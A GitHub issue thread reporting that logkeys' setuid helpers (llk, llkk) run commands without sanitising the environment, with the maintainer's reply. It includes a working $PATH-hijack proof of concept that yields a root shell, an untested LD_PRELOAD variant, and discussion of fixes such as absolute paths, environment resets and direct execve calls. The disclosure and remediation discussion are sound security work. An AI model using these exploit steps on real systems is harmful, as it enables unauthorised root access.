Vuln: Setuid doesn't sanitize environment variables leading to root exploit

[zhuyifei1999]

Apologies for reporting this in public. The button to do so privately isn't enabled.

Invoking processes under setuid, without sanitizing environment variables, is extremely risky. I tried with an exploit by $PATH.

Installing:

sandbox /tmp # setpriv --reuid 1000 --regid 1000 --init-groups --reset-env /bin/bash -l
zhuyifei1999@sandbox /tmp $ git clone https://github.com/kernc/logkeys
Cloning into 'logkeys'...
remote: Enumerating objects: 509, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 509 (delta 11), reused 25 (delta 4), pack-reused 473
Receiving objects: 100% (509/509), 305.57 KiB | 3.09 MiB/s, done.
Resolving deltas: 100% (296/296), done.
zhuyifei1999@sandbox /tmp $ cd logkeys/
zhuyifei1999@sandbox /tmp/logkeys $ ./autogen.sh 

Regenerating autotools files ...
configure.ac:7: installing './install-sh'
configure.ac:7: installing './missing'
src/Makefile.am: installing './depcomp'
... done.  Now please do the following:

   cd build; ../configure; make; su; make install

zhuyifei1999@sandbox /tmp/logkeys $ cd build; ../configure; make
[...]

root@sandbox ~ # cd /tmp/logkeys/build/
root@sandbox /tmp/logkeys/build # make install
Making install in src
make[1]: Entering directory '/tmp/logkeys/build/src'
make[2]: Entering directory '/tmp/logkeys/build/src'
 /usr/bin/mkdir -p '/usr/local/bin'
  /usr/bin/install -c logkeys llk llkk '/usr/local/bin'
make  install-exec-hook
make[3]: Entering directory '/tmp/logkeys/build/src'
chown root\: /usr/local/bin/llk
chmod u+s    /usr/local/bin/llk
chown root\: /usr/local/bin/llkk
chmod u+s    /usr/local/bin/llkk
[...]

And here comes the adversary:

zhuyifei1999@docker-sandbox /tmp $ ls -l /usr/local/bin/llk /usr/local/bin/llkk
-rwsr-xr-x 1 root root 19240 Jan 16 13:34 /usr/local/bin/llk
-rwsr-xr-x 1 root root 19248 Jan 16 13:34 /usr/local/bin/llkk
zhuyifei1999@sandbox /tmp $ cat exploit.c 
#include <stdio.h>
#include <unistd.h>

int main(void)
{
	puts("pwned! here's your root shell:");
	execle("/bin/bash", "bash", NULL, NULL);
}
zhuyifei1999@sandbox /tmp $ mkdir tmp
zhuyifei1999@sandbox /tmp $ gcc -o tmp/logkeys exploit.c
zhuyifei1999@sandbox /tmp $ PATH=/tmp/tmp:$PATH /usr/local/bin/llkk
pwned! here's your root shell:
root@sandbox /tmp # 

This works because logkeys-kill.sh finds the location of logkeys by the $PATH.

I also tried using $LD_PRELOAD; considering RUID == EUID, the shell invoked by system() is in insecure mode (AT_SECURE is off), but glibc wipes a bunch of env variables for setuids (https://github.com/bminor/glibc/blob/ae612c45efb5e34713859a5facf92368307efb6e/elf/rtld.c#L2689), but musl will not do such hand-holding.

[kernc]

Thanks for the report!

Invoking processes under setuid, without sanitizing environment variables, is extremely risky. I tried with an exploit by $PATH.

So in your opinion, a correct fix would be to set absolute paths in logkeys-start/kill.sh scripts?

[zhuyifei1999]

So in your opinion, a correct fix would be to set absolute paths in logkeys-start/kill.sh scripts?

That would fix this specific instance, but other environment variables may still affect the behavior of the runtime. I mentioned earlier that

musl will not do such hand-holding

I'm not sure who would run musl-based desktop (Alpine maybe?), so one could do, on a musl-based system (untested):

#include <stdio.h>
#include <unistd.h>

__attribute__((constructor))
static void exploit(void)
{
	puts("pwned! here's your root shell:");
	execle("/bin/bash", "bash", NULL, NULL);
}

gcc -shared -o exploit.so exploit.c
LD_PRELOAD=exploit.so /usr/local/bin/llkk

Or even in glibc, I could probably try harder to find more subtle ways to perform an exploit, after kill.sh uses absolute path.

I think ideally at any point, if both these conditions are true for a setuid:

• ~~it sets ruid to its euid, then~~
• it invokes other processes as its children

it should sanitize all environment and keep only the bare minimums to function. Eg. sudo does this with a env_reset flag / env_keep list.

Edit: After thinking further the environment should pretty much always be sanitized if it invokes something else.

[zhuyifei1999]

Also considering llk & llkk both does exit(system(...)) I'd consider doing a manual execve call to make it simpler and not rely on any shell. Another benefit of a manual execve is that you can pass an explicit list of every env variable to pass.